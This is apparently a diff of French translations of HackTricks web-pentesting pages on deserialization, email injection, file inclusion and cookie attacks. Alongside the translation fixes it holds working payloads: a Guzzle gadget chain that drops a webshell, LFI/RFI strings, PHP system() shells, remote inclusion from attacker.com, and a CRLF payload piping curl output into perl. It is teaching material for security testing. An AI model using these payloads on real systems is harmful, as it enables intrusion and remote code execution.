 a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
 ```

src/pentesting-web/deserialization/ruby-class-pollution.md

@@ -152,7 +152,7 @@ JSONMergerApp.run(json_input)
 
 ### `deep_merge` d'ActiveSupport
 
-Cela n'est pas vulnérable par défaut mais peut être rendu vulnérable avec quelque chose comme : 
+Cela n'est pas vulnérable par défaut mais peut être rendu vulnérable avec quelque chose comme :
 ```ruby
 # Method to merge additional data into the object using ActiveSupport deep_merge
 def merge_with(other_object)
@@ -170,7 +170,7 @@ end
 
 La méthode `deep_merge` de Hashie opère directement sur les attributs des objets plutôt que sur des hachages simples. Elle **empêche le remplacement des méthodes** par des attributs lors d'une fusion avec certaines **exceptions** : les attributs qui se terminent par `_`, `!` ou `?` peuvent toujours être fusionnés dans l'objet.
 
-Un cas spécial est l'attribut **`_`** à lui seul. Juste `_` est un attribut qui renvoie généralement un objet `Mash`. Et parce qu'il fait partie des **exceptions**, il est possible de le modifier.
+Un cas particulier est l'attribut **`_`** à lui seul. Juste `_` est un attribut qui renvoie généralement un objet `Mash`. Et parce qu'il fait partie des **exceptions**, il est possible de le modifier.
 
 Vérifiez l'exemple suivant sur la façon dont le passage de `{"_": "Admin"}` permet de contourner `_.to_s == "Admin"` :
 ```ruby

src/pentesting-web/email-injections.md

@@ -50,11 +50,11 @@ Cette section va se baser sur **comment abuser de ce paramètre en supposant qu'
 
 Ce paramètre va être ajouté à la ligne de commande que PHP utilisera pour invoquer le binaire sendmail. Cependant, il sera assaini avec la fonction `escapeshellcmd($additional_parameters)`.
 
-Un attaquant peut **injecter des paramètres extraits pour sendmail** dans ce cas.
+Un attaquant peut **injecter des paramètres supplémentaires pour sendmail** dans ce cas.
 
 #### Différences dans l'implémentation de /usr/sbin/sendmail
 
-L'interface **sendmail** est **fournie par le logiciel MTA de messagerie** (Sendmail, Postfix, Exim, etc.) installé sur le système. Bien que la **fonctionnalité de base** (comme les paramètres -t -i -f) reste **la même** pour des raisons de compatibilité, **d'autres fonctions et paramètres** varient considérablement en fonction du MTA installé.
+L'interface **sendmail** est **fournie par le logiciel MTA de messagerie** (Sendmail, Postfix, Exim, etc.) installé sur le système. Bien que la **fonctionnalité de base** (comme les paramètres -t -i -f) reste la **même** pour des raisons de compatibilité, **d'autres fonctions et paramètres** varient considérablement en fonction du MTA installé.
 
 Voici quelques exemples de différentes pages de manuel de la commande/interface sendmail :
 
@@ -81,11 +81,11 @@ Les symboles : **+, -** et **{}** peuvent, dans de rares occasions, être utilis
 
 ### Contournement de la liste blanche
 
-<figure><img src="../images/image (812).png" alt="https://www.youtube.com/watch?app=desktop&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
+<figure><img src="../images/image (812).png" alt="https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
 
 ### Citations
 
-<figure><img src="../images/image (626).png" alt="https://www.youtube.com/watch?app=desktop&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
+<figure><img src="../images/image (626).png" alt="https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
 
 ### IPs
 
@@ -98,7 +98,7 @@ Vous pouvez également utiliser des IP comme nom de domaine entre crochets :
 
 Comme expliqué dans [**cette recherche**](https://portswigger.net/research/splitting-the-email-atom), les noms d'e-mail peuvent également contenir des caractères encodés :
 
-- **Dépassement de PHP 256** : La fonction PHP `chr` continuera à ajouter 256 à un caractère jusqu'à ce qu'il devienne positif, puis effectuera l'opération `%256`.
+- **Dépassement de capacité PHP 256** : La fonction PHP `chr` continuera à ajouter 256 à un caractère jusqu'à ce qu'il devienne positif, puis effectuera l'opération `%256`.
 - `String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @`
 
 > [!TIP]
@@ -137,10 +137,10 @@ x@xn--svg/-9x6 → x@<svg/
 Payloads:
 
 - Github: `=?x?q?collab=40psres.net=3e=00?=foo@example.com`
-- Notez le `@` encodé comme =40, le `>` encodé comme `=3e` et `null` comme `=00`&#x20;
+- Notez que le `@` encodé est =40, le `>` encodé est `=3e` et `null` est `=00`
 - Cela enverra l'email de vérification à `collab@psres.net`
 - Zendesk: `"=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com`
-- Même astuce que précédemment mais en ajoutant une citation régulière au début et une citation encodée `=22` avant le `@` encodé, puis en ouvrant et fermant des citations avant le prochain email pour corriger la syntaxe utilisée en interne par Zendesk
+- Même astuce que précédemment mais ajoutant une citation régulière au début et une citation encodée `=22` avant le `@` encodé, puis ouvrant et fermant des citations avant le prochain email pour corriger la syntaxe utilisée en interne par Zendesk
 - Cela enverra l'email de vérification à `collab@psres.net`
 - Gitlab: `=?x?q?collab=40psres.net_?=foo@example.com`
 - Notez l'utilisation du soulignement comme espace pour séparer l'adresse
@@ -152,38 +152,38 @@ Payloads:
 - Il existe un **script Burp Suite Turbo Intruder** pour fuzz ces types de combinaisons afin d'essayer d'attaquer les formats d'email. Le script a déjà des combinaisons potentiellement fonctionnelles.
 - Il est également possible d'utiliser [Hackvertor](https://portswigger.net/bappstore/65033cbd2c344fbabe57ac060b5dd100) pour créer une attaque de séparation d'email
 
-### Autres vulnérabilités
+### Other vulns
 
 ![https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0](<../images/image (1131).png>)
 
-## SSO tiers
+## Third party SSO
 
 ### XSS
 
 Certains services comme **github** ou **salesforce permettent** de créer une **adresse email avec des payloads XSS dessus**. Si vous pouvez **utiliser ces fournisseurs pour vous connecter à d'autres services** et que ces services **ne nettoient pas** correctement l'email, vous pourriez provoquer **XSS**.
 
-### Prise de contrôle de compte
+### Account-Takeover
 
 Si un **service SSO** vous permet de **créer un compte sans vérifier l'adresse email donnée** (comme **salesforce**) et que vous pouvez ensuite utiliser ce compte pour **vous connecter à un service différent** qui **fait confiance** à salesforce, vous pourriez accéder à n'importe quel compte.\
-_&#x4E;otez que salesforce indique si l'email donné a été vérifié ou non, mais l'application devrait donc prendre en compte cette information._
+_Notez que salesforce indique si l'email donné a été vérifié ou non, mais l'application devrait donc prendre en compte cette information._
 
-## Répondre à
+## Reply-To
 
-Vous pouvez envoyer un email en utilisant _**From: company.com**_ et _**Replay-To: attacker.com**_ et si une **réponse automatique** est envoyée parce que l'email a été envoyé **depuis** une **adresse interne**, l'**attaquant** pourrait être en mesure de **recevoir** cette **réponse**.
+Vous pouvez envoyer un email en utilisant _**From: company.com**_ et _**Replay-To: attacker.com**_ et si une **réponse automatique** est envoyée en raison de l'email envoyé **depuis** une **adresse interne**, l'**attaquant** pourrait être en mesure de **recevoir** cette **réponse**.
 
-## Taux de rebond dur
+## Hard Bounce Rate
 
-Certains services, comme AWS, mettent en œuvre un seuil connu sous le nom de **Taux de rebond dur**, généralement fixé à 10 %. C'est un indicateur critique, surtout pour les services de livraison d'emails. Lorsque ce taux est dépassé, le service, comme le service email d'AWS, peut être suspendu ou bloqué.
+Certains services, comme AWS, mettent en œuvre un seuil connu sous le nom de **Hard Bounce Rate**, généralement fixé à 10 %. C'est un indicateur critique, surtout pour les services de livraison d'emails. Lorsque ce taux est dépassé, le service, comme le service email d'AWS, peut être suspendu ou bloqué.
 
-Un **rebond dur** fait référence à un **email** qui a été renvoyé à l'expéditeur parce que l'adresse du destinataire est invalide ou inexistante. Cela peut se produire pour diverses raisons, telles que l'**email** étant envoyé à une adresse inexistante, un domaine qui n'est pas réel, ou le refus du serveur destinataire d'accepter des **emails**.
+Un **hard bounce** fait référence à un **email** qui a été renvoyé à l'expéditeur parce que l'adresse du destinataire est invalide ou inexistante. Cela peut se produire pour diverses raisons, telles que l'**email** étant envoyé à une adresse inexistante, un domaine qui n'est pas réel, ou le refus du serveur destinataire d'accepter les **emails**.
 
-Dans le contexte d'AWS, si vous envoyez 1000 emails et que 100 d'entre eux entraînent des rebonds durs (en raison de raisons comme des adresses ou des domaines invalides), cela signifierait un taux de rebond dur de 10 %. Atteindre ou dépasser ce taux peut déclencher AWS SES (Simple Email Service) pour bloquer ou suspendre vos capacités d'envoi d'emails.
+Dans le contexte d'AWS, si vous envoyez 1000 emails et que 100 d'entre eux entraînent des hard bounces (pour des raisons comme des adresses ou des domaines invalides), cela signifierait un taux de hard bounce de 10 %. Atteindre ou dépasser ce taux peut déclencher AWS SES (Simple Email Service) pour bloquer ou suspendre vos capacités d'envoi d'emails.
 
-Il est crucial de maintenir un faible taux de rebond dur pour garantir un service email ininterrompu et maintenir la réputation de l'expéditeur. Surveiller et gérer la qualité des adresses email dans vos listes de diffusion peut grandement aider à atteindre cet objectif.
+Il est crucial de maintenir un faible taux de hard bounce pour garantir un service email ininterrompu et maintenir la réputation de l'expéditeur. Surveiller et gérer la qualité des adresses email dans vos listes de diffusion peut grandement aider à atteindre cet objectif.
 
 Pour des informations plus détaillées, la documentation officielle d'AWS sur la gestion des rebonds et des plaintes peut être consultée [AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types).
 
-## Références
+## References
 
 - [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
 - [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)

src/pentesting-web/file-inclusion/README.md

@@ -47,9 +47,9 @@ Une liste qui utilise plusieurs techniques pour trouver le fichier /boot.ini (po
 
 Vérifiez la liste LFI de linux.
 
-## Basic LFI and bypasses
+## LFI de base et contournements
 
-Tous les exemples concernent l'inclusion de fichiers locaux, mais pourraient également être appliqués à l'inclusion de fichiers distants (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
+Tous les exemples concernent l'inclusion de fichiers locaux mais pourraient également être appliqués à l'inclusion de fichiers distants (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
 ```
 http://example.com/index.php?page=../../../etc/passwd
 ```
@@ -69,7 +69,7 @@ Ceci est **résolu depuis PHP 5.4**
 
 ### **Encodage**
 
-Vous pouvez utiliser des encodages non standards comme le double encodage URL (et d'autres) :
+Vous pourriez utiliser des encodages non standards comme le double encodage URL (et d'autres) :
 ```
 http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
 http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
@@ -90,7 +90,7 @@ Le système de fichiers d'un serveur peut être exploré de manière récursive
 ```bash
 http://example.com/index.php?page=../../../etc/passwd # depth of 3
 ```
-2. **Explorer les Dossiers :** Ajoutez le nom du dossier suspect (par exemple, `private`) à l'URL, puis naviguez de nouveau vers `/etc/passwd`. Le niveau de répertoire supplémentaire nécessite d'augmenter la profondeur d'un :
+2. **Probe for Folders :** Ajoutez le nom du dossier suspecté (par exemple, `private`) à l'URL, puis naviguez de nouveau vers `/etc/passwd`. Le niveau de répertoire supplémentaire nécessite d'augmenter la profondeur d'un :
 ```bash
 http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
 ```
@@ -143,17 +143,17 @@ http://example.com/index.php?page=PhP://filter
 ```
 ## Inclusion de Fichiers à Distance
 
-En php, cela est désactivé par défaut car **`allow_url_include`** est **Désactivé.** Il doit être **Activé** pour que cela fonctionne, et dans ce cas, vous pourriez inclure un fichier PHP depuis votre serveur et obtenir un RCE :
+In php, cela est désactivé par défaut car **`allow_url_include`** est **Désactivé.** Il doit être **Activé** pour que cela fonctionne, et dans ce cas, vous pourriez inclure un fichier PHP depuis votre serveur et obtenir un RCE :
 ```python
 http://example.com/index.php?page=http://atacker.com/mal.php
 http://example.com/index.php?page=\\attacker.com\shared\mal.php
 ```
-Si pour une raison quelconque **`allow_url_include`** est **On**, mais que PHP **filtre** l'accès aux pages web externes, [selon ce post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), vous pourriez utiliser par exemple le protocole de données avec base64 pour décoder un code PHP en b64 et obtenir RCE :
+Si pour une raison quelconque **`allow_url_include`** est **Activé**, mais que PHP **filtre** l'accès aux pages web externes, [selon ce post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), vous pourriez utiliser par exemple le protocole de données avec base64 pour décoder un code PHP en b64 et obtenir RCE :
 ```
 PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
 ```
 > [!NOTE]
-> Dans le code précédent, le `+.txt` final a été ajouté car l'attaquant avait besoin d'une chaîne se terminant par `.txt`, donc la chaîne se termine par cela et après le décodage b64, cette partie renverra juste des déchets et le vrai code PHP sera inclus (et donc, exécuté).
+> Dans le code précédent, le `+.txt` final a été ajouté parce que l'attaquant avait besoin d'une chaîne se terminant par `.txt`, donc la chaîne se termine par cela et après le décodage b64, cette partie ne renverra que des déchets et le vrai code PHP sera inclus (et donc, exécuté).
 
 Un autre exemple **ne utilisant pas le protocole `php://`** serait :
 ```
@@ -171,9 +171,9 @@ Si l'utilisateur passe un **chemin absolu** à **`file_name`**, le **chemin pré
 os.path.join(os.getcwd(), "public", "/etc/passwd")
 '/etc/passwd'
 ```
-C'est le comportement prévu selon [les docs](https://docs.python.org/3.10/library/os.path.html#os.path.join) :
+C'est le comportement prévu selon [la documentation](https://docs.python.org/3.10/library/os.path.html#os.path.join) :
 
-> Si un composant est un chemin absolu, tous les composants précédents sont jetés et la jonction continue à partir du composant de chemin absolu.
+> Si un composant est un chemin absolu, tous les composants précédents sont jetés et la jointure continue à partir du composant de chemin absolu.
 
 ## Java Lister les Répertoires
 
@@ -181,7 +181,7 @@ Il semble que si vous avez un Path Traversal en Java et que vous **demandez un r
 
 ## Top 25 paramètres
 
-Voici une liste des 25 principaux paramètres qui pourraient être vulnérables aux vulnérabilités d'inclusion de fichiers locaux (LFI) (provenant de [link](https://twitter.com/trbughunters/status/1279768631845494787)) :
+Voici une liste des 25 principaux paramètres qui pourraient être vulnérables aux vulnérabilités d'inclusion de fichiers locaux (LFI) (provenant de [lien](https://twitter.com/trbughunters/status/1279768631845494787)) :
 ```
 ?cat={payload}
 ?dir={payload}
@@ -461,14 +461,14 @@ Fuzzing wordlist : [https://github.com/danielmiessler/SecLists/tree/master/Fuzzi
 
 ### Via /proc/self/environ
 
-Comme un fichier journal, envoyez la charge utile dans l'User-Agent, elle sera reflétée à l'intérieur du fichier /proc/self/environ
+Comme un fichier journal, envoyez la charge utile dans le User-Agent, elle sera reflétée à l'intérieur du fichier /proc/self/environ
 ```
 GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
 User-Agent: <?=phpinfo(); ?>
 ```
 ### Via upload
 
-Si vous pouvez télécharger un fichier, il suffit d'injecter le payload de shell dedans (par exemple : `<?php system($_GET['c']); ?>`).
+Si vous pouvez télécharger un fichier, injectez simplement le payload de shell dedans (par exemple : `<?php system($_GET['c']); ?>`).
 ```
 http://example.com/index.php?page=path/to/uploaded/file.png
 ```
@@ -480,9 +480,9 @@ Téléchargez un fichier ZIP contenant un shell PHP compressé et accédez à :
 ```python
 example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
 ```
-### Via PHP sessions
+### Via les sessions PHP
 
-Vérifiez si le site utilise PHP Session (PHPSESSID)
+Vérifiez si le site utilise la session PHP (PHPSESSID)
 ```
 Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
 Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
@@ -506,10 +506,10 @@ Si ssh est actif, vérifiez quel utilisateur est utilisé (/proc/self/status & /
 
 ### **Via** **vsftpd** _**logs**_
 
-Les journaux pour le serveur FTP vsftpd se trouvent à _**/var/log/vsftpd.log**_. Dans le scénario où une vulnérabilité de Local File Inclusion (LFI) existe, et où l'accès à un serveur vsftpd exposé est possible, les étapes suivantes peuvent être envisagées :
+Les journaux pour le serveur FTP vsftpd se trouvent à _**/var/log/vsftpd.log**_. Dans le scénario où une vulnérabilité d'Inclusion de Fichier Local (LFI) existe, et où l'accès à un serveur vsftpd exposé est possible, les étapes suivantes peuvent être envisagées :
 
 1. Injectez une charge utile PHP dans le champ nom d'utilisateur lors du processus de connexion.
-2. Après l'injection, utilisez le LFI pour récupérer les journaux du serveur à partir de _**/var/log/vsftpd.log**_.
+2. Après l'injection, utilisez le LFI pour récupérer les journaux du serveur depuis _**/var/log/vsftpd.log**_.
 
 ### Via php base64 filter (using base64)
 
@@ -521,7 +521,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
 ```
 ### Via php filters (no file needed)
 
-Ce [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explique que vous pouvez utiliser **php filters pour générer du contenu arbitraire** en sortie. Ce qui signifie essentiellement que vous pouvez **générer du code php arbitraire** pour l'inclusion **sans avoir besoin de l'écrire** dans un fichier.
+Ce [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explique que vous pouvez utiliser **php filters pour générer du contenu arbitraire** en sortie. Ce qui signifie essentiellement que vous pouvez **générer du code php arbitraire** pour l'inclusion **sans avoir besoin de l'écrire** dans un fichier.
 
 {{#ref}}
 lfi2rce-via-php-filters.md
@@ -567,7 +567,7 @@ La requête suivante crée un fichier dans `/tmp/hello.php` avec le contenu `<?=
 ```bash
 GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
 ```
-L'abus suivant exploite une vulnérabilité CRLF pour obtenir un RCE (depuis [**ici**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
+L'abus suivant d'une vulnérabilité CRLF pour obtenir un RCE (depuis [**ici**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
 ```
 http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
 Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
@@ -603,7 +603,7 @@ lfi2rce-via-eternal-waiting.md
 Si vous incluez l'un des fichiers `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Vous devez inclure le même deux fois pour provoquer cette erreur).
 
 **Je ne sais pas comment cela peut être utile mais cela pourrait l'être.**\
-_&#x45;ven si vous provoquez une erreur fatale PHP, les fichiers temporaires PHP téléchargés sont supprimés._
+_Même si vous provoquez une erreur fatale PHP, les fichiers temporaires PHP téléchargés sont supprimés._
 
 <figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
 

src/pentesting-web/hacking-with-cookies/README.md

@@ -2,23 +2,23 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Cookie Attributes
+## Attributs des Cookies
 
 Les cookies possèdent plusieurs attributs qui contrôlent leur comportement dans le navigateur de l'utilisateur. Voici un aperçu de ces attributs dans un style plus passif :
 
-### Expires and Max-Age
+### Expires et Max-Age
 
-La date d'expiration d'un cookie est déterminée par l'attribut `Expires`. À l'inverse, l'attribut `Max-age` définit le temps en secondes jusqu'à ce qu'un cookie soit supprimé. **Optez pour `Max-age` car il reflète des pratiques plus modernes.**
+La date d'expiration d'un cookie est déterminée par l'attribut `Expires`. En revanche, l'attribut `Max-age` définit le temps en secondes avant qu'un cookie ne soit supprimé. **Optez pour `Max-age` car il reflète des pratiques plus modernes.**
 
-### Domain
+### Domaine
 
 Les hôtes qui reçoivent un cookie sont spécifiés par l'attribut `Domain`. Par défaut, cela est défini sur l'hôte qui a émis le cookie, sans inclure ses sous-domaines. Cependant, lorsque l'attribut `Domain` est explicitement défini, il englobe également les sous-domaines. Cela rend la spécification de l'attribut `Domain` une option moins restrictive, utile dans les scénarios où le partage de cookies entre sous-domaines est nécessaire. Par exemple, définir `Domain=mozilla.org` rend les cookies accessibles sur ses sous-domaines comme `developer.mozilla.org`.
 
-### Path
+### Chemin
 
 Un chemin d'URL spécifique qui doit être présent dans l'URL demandée pour que l'en-tête `Cookie` soit envoyé est indiqué par l'attribut `Path`. Cet attribut considère le caractère `/` comme un séparateur de répertoire, permettant des correspondances dans les sous-répertoires également.
 
-### Ordering Rules
+### Règles de Commande
 
 Lorsque deux cookies portent le même nom, celui choisi pour l'envoi est basé sur :
 
@@ -28,29 +28,29 @@ Lorsque deux cookies portent le même nom, celui choisi pour l'envoi est basé s
 ### SameSite
 
 - L'attribut `SameSite` dicte si les cookies sont envoyés lors de requêtes provenant de domaines tiers. Il offre trois paramètres :
-- **Strict** : Restreint l'envoi du cookie lors de requêtes tierces.
+- **Strict** : Empêche l'envoi du cookie lors de requêtes tierces.
 - **Lax** : Permet l'envoi du cookie avec des requêtes GET initiées par des sites web tiers.
 - **None** : Permet l'envoi du cookie depuis n'importe quel domaine tiers.
 
 N'oubliez pas, lors de la configuration des cookies, que comprendre ces attributs peut aider à garantir qu'ils se comportent comme prévu dans différents scénarios.
 
-| **Request Type** | **Example Code**                   | **Cookies Sent When** |
-| ---------------- | ---------------------------------- | --------------------- |
-| Link             | \<a href="...">\</a>               | NotSet\*, Lax, None   |
-| Prerender        | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None   |
-| Form GET         | \<form method="GET" action="...">  | NotSet\*, Lax, None   |
-| Form POST        | \<form method="POST" action="..."> | NotSet\*, None        |
-| iframe           | \<iframe src="...">\</iframe>      | NotSet\*, None        |
-| AJAX             | $.get("...")                       | NotSet\*, None        |
-| Image            | \<img src="...">                   | NetSet\*, None        |
+| **Type de Requête** | **Code Exemple**                   | **Cookies Envoyés Quand** |
+| ------------------- | ---------------------------------- | ------------------------- |
+| Lien                | \<a href="...">\</a>               | NotSet\*, Lax, None       |
+| Prerender           | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None       |
+| Formulaire GET      | \<form method="GET" action="...">  | NotSet\*, Lax, None       |
+| Formulaire POST     | \<form method="POST" action="..."> | NotSet\*, None            |
+| iframe              | \<iframe src="...">\</iframe>      | NotSet\*, None            |
+| AJAX                | $.get("...")                       | NotSet\*, None            |
+| Image               | \<img src="...">                   | NetSet\*, None            |
 
-Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) and slightly modified.\
+Tableau provenant de [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) et légèrement modifié.\
 Un cookie avec l'attribut _**SameSite**_ **atténuera les attaques CSRF** où une session connectée est nécessaire.
 
 **\*Notez qu'à partir de Chrome80 (février 2019), le comportement par défaut d'un cookie sans attribut SameSite** **sera lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
 Notez qu'après avoir appliqué ce changement, les **cookies sans politique SameSite** dans Chrome seront **traités comme None** pendant les **premières 2 minutes, puis comme Lax pour les requêtes POST de niveau supérieur entre sites.**
 
-## Cookies Flags
+## Drapeaux des Cookies
 
 ### HttpOnly
 
@@ -74,7 +74,7 @@ cookie-jar-overflow.md
 
 La requête **n'enverra** le cookie que dans une requête HTTP si la requête est transmise sur un canal sécurisé (typiquement **HTTPS**).
 
-## Cookies Prefixes
+## Préfixes des Cookies
 
 Les cookies préfixés par `__Secure-` doivent être définis avec le drapeau `secure` des pages sécurisées par HTTPS.
 
@@ -87,31 +87,31 @@ Pour les cookies préfixés par `__Host-`, plusieurs conditions doivent être re
 
 Il est important de noter que les cookies préfixés par `__Host-` ne sont pas autorisés à être envoyés à des superdomaines ou sous-domaines. Cette restriction aide à isoler les cookies d'application. Ainsi, utiliser le préfixe `__Host-` pour tous les cookies d'application peut être considéré comme une bonne pratique pour améliorer la sécurité et l'isolement.
 
-### Overwriting cookies
+### Surcharge des cookies
 
-Ainsi, l'une des protections des cookies préfixés par `__Host-` est d'empêcher leur écrasement depuis des sous-domaines. Prévenir par exemple les [**attaques de Cookie Tossing**](cookie-tossing.md). Dans la présentation [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**papier**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)), il est présenté qu'il était possible de définir des cookies préfixés par \_\_HOST- depuis un sous-domaine, en trompant le parseur, par exemple, en ajoutant "=" au début ou au début et à la fin... :
+Ainsi, l'une des protections des cookies préfixés par `__Host-` est d'empêcher leur surcharge depuis des sous-domaines. Prévenir par exemple les [**attaques de Cookie Tossing**](cookie-tossing.md). Dans la présentation [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**document**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)), il est présenté qu'il était possible de définir des cookies préfixés par \_\_HOST- depuis un sous-domaine, en trompant le parseur, par exemple, en ajoutant "=" au début ou au début et à la fin... :
 
 <figure><img src="../../images/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
-Ou en PHP, il était possible d'ajouter **d'autres caractères au début** du nom du cookie qui allaient être **remplacés par des caractères de soulignement**, permettant d'écraser les cookies `__HOST-` :
+Ou en PHP, il était possible d'ajouter **d'autres caractères au début** du nom du cookie qui allaient être **remplacés par des caractères de soulignement**, permettant de surcharger les cookies `__HOST-` :
 
 <figure><img src="../../images/image (7) (1) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
 
-## Cookies Attacks
+## Attaques sur les Cookies
 
 Si un cookie personnalisé contient des données sensibles, vérifiez-le (surtout si vous participez à un CTF), car il pourrait être vulnérable.
 
-### Decoding and Manipulating Cookies
+### Décodage et Manipulation des Cookies
 
-Les données sensibles intégrées dans les cookies doivent toujours être examinées. Les cookies encodés en Base64 ou dans des formats similaires peuvent souvent être décodés. Cette vulnérabilité permet aux attaquants de modifier le contenu du cookie et d'usurper d'autres utilisateurs en réencodant leurs données modifiées dans le cookie.
+Les données sensibles intégrées dans les cookies doivent toujours être examinées. Les cookies encodés en Base64 ou dans des formats similaires peuvent souvent être décodés. Cette vulnérabilité permet aux attaquants de modifier le contenu du cookie et d'usurper l'identité d'autres utilisateurs en réencodant leurs données modifiées dans le cookie.
 
-### Session Hijacking
+### Détournement de Session
 
-Cette attaque consiste à voler le cookie d'un utilisateur pour obtenir un accès non autorisé à son compte dans une application. En utilisant le cookie volé, un attaquant peut usurper l'utilisateur légitime.
+Cette attaque consiste à voler le cookie d'un utilisateur pour obtenir un accès non autorisé à son compte dans une application. En utilisant le cookie volé, un attaquant peut usurper l'identité de l'utilisateur légitime.
 
-### Session Fixation
+### Fixation de Session
 
-Dans ce scénario, un attaquant trompe une victime pour qu'elle utilise un cookie spécifique pour se connecter. Si l'application n'assigne pas un nouveau cookie lors de la connexion, l'attaquant, possédant le cookie original, peut usurper la victime. Cette technique repose sur le fait que la victime se connecte avec un cookie fourni par l'attaquant.
+Dans ce scénario, un attaquant trompe une victime pour qu'elle utilise un cookie spécifique pour se connecter. Si l'application n'assigne pas un nouveau cookie lors de la connexion, l'attaquant, possédant le cookie original, peut usurper l'identité de la victime. Cette technique repose sur le fait que la victime se connecte avec un cookie fourni par l'attaquant.
 
 Si vous avez trouvé un **XSS dans un sous-domaine** ou si vous **contrôlez un sous-domaine**, lisez :
 
@@ -119,7 +119,7 @@ Si vous avez trouvé un **XSS dans un sous-domaine** ou si vous **contrôlez un
 cookie-tossing.md
 {{#endref}}
 
-### Session Donation
+### Don de Session
 
 Ici, l'attaquant convainc la victime d'utiliser le cookie de session de l'attaquant. La victime, croyant qu'elle est connectée à son propre compte, effectuera involontairement des actions dans le contexte du compte de l'attaquant.
 
@@ -129,7 +129,7 @@ Si vous avez trouvé un **XSS dans un sous-domaine** ou si vous **contrôlez un
 cookie-tossing.md
 {{#endref}}
 
-### [JWT Cookies](../hacking-jwt-json-web-tokens.md)
+### [Cookies JWT](../hacking-jwt-json-web-tokens.md)
 
 Cliquez sur le lien précédent pour accéder à une page expliquant les défauts possibles dans JWT.
 
@@ -139,9 +139,9 @@ Les JSON Web Tokens (JWT) utilisés dans les cookies peuvent également présent
 
 Cette attaque force un utilisateur connecté à exécuter des actions non désirées sur une application web dans laquelle il est actuellement authentifié. Les attaquants peuvent exploiter les cookies qui sont automatiquement envoyés avec chaque requête vers le site vulnérable.
 
-### Empty Cookies
+### Cookies Vides
 
-(Vérifiez plus de détails dans la [recherche originale](https://blog.ankursundara.com/cookie-bugs/)) Les navigateurs permettent la création de cookies sans nom, ce qui peut être démontré par JavaScript comme suit :
+(Voir plus de détails dans la [recherche originale](https://blog.ankursundara.com/cookie-bugs/)) Les navigateurs permettent la création de cookies sans nom, ce qui peut être démontré par JavaScript comme suit :
 ```js
 document.cookie = "a=v1"
 document.cookie = "=test value;" // Setting an empty named cookie
@@ -183,7 +183,7 @@ Cette vulnérabilité est particulièrement dangereuse dans les applications web
 
 ### Cookies $version et contournements de WAF
 
